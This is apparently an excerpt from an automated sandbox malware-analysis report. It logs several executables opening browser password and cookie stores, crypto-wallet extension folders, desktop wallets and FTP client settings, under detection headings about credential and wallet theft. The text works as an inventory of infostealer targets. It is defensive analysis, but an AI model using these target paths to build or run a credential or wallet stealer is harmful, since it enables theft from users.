Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
